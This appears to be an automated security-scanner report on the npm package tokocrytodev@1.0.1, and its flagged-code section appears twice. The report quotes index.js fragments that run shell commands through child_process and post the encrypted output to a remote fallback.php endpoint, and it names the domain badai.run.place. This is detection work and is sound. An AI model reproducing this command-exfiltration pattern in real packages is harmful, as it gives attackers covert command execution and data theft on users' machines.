tokocrytodev@1.0.1: Suspicious npm security report (Warn)

Static Scan Results

scanned 6d ago · by rust-scanner

Static analysis flagged 8 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystemNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 8.10 KB of source, external domains: badai.run.place, mainnet.infura.io

Source & flagged code

3 flagged

index.jsView file

2const path = require('path'); L3: const { exec } = require('child_process'); L4: const util = require('util');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L2

91const encrypted = encryptECB(payload); L92: await axios.post(`${this.server}/fallback.php`, encrypted, { L93: headers: { 'Content-Type': 'text/plain' }, ... L102: try { L103: const { stdout, stderr } = await execAsync(cmd, { timeout: 30000 }); L104: return stdout + stderr;

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

index.jsView on unpkg · L91

91Trigger-reachable command-output exfiltration chain: manifest.main -> index.js L91: const encrypted = encryptECB(payload); L92: await axios.post(`${this.server}/fallback.php`, encrypted, { L93: headers: { 'Content-Type': 'text/plain' }, ... L102: try { L103: const { stdout, stderr } = await execAsync(cmd, { timeout: 30000 }); L104: return stdout + stderr;

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

index.jsView on unpkg · L91

Source & flagged code

3 flagged · loading source

index.jsView file

2const path = require('path'); L3: const { exec } = require('child_process'); L4: const util = require('util');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L2

91const encrypted = encryptECB(payload); L92: await axios.post(`${this.server}/fallback.php`, encrypted, { L93: headers: { 'Content-Type': 'text/plain' }, ... L102: try { L103: const { stdout, stderr } = await execAsync(cmd, { timeout: 30000 }); L104: return stdout + stderr;

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

index.jsView on unpkg · L91

91Trigger-reachable command-output exfiltration chain: manifest.main -> index.js L91: const encrypted = encryptECB(payload); L92: await axios.post(`${this.server}/fallback.php`, encrypted, { L93: headers: { 'Content-Type': 'text/plain' }, ... L102: try { L103: const { stdout, stderr } = await execAsync(cmd, { timeout: 30000 }); L104: return stdout + stderr;

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

index.js

Findings

3 High2 Medium3 Low

HighChild Processindex.js

HighCommand Output Exfiltrationindex.js

HighTrigger Reachable Command Output Exfiltrationindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowUrl Strings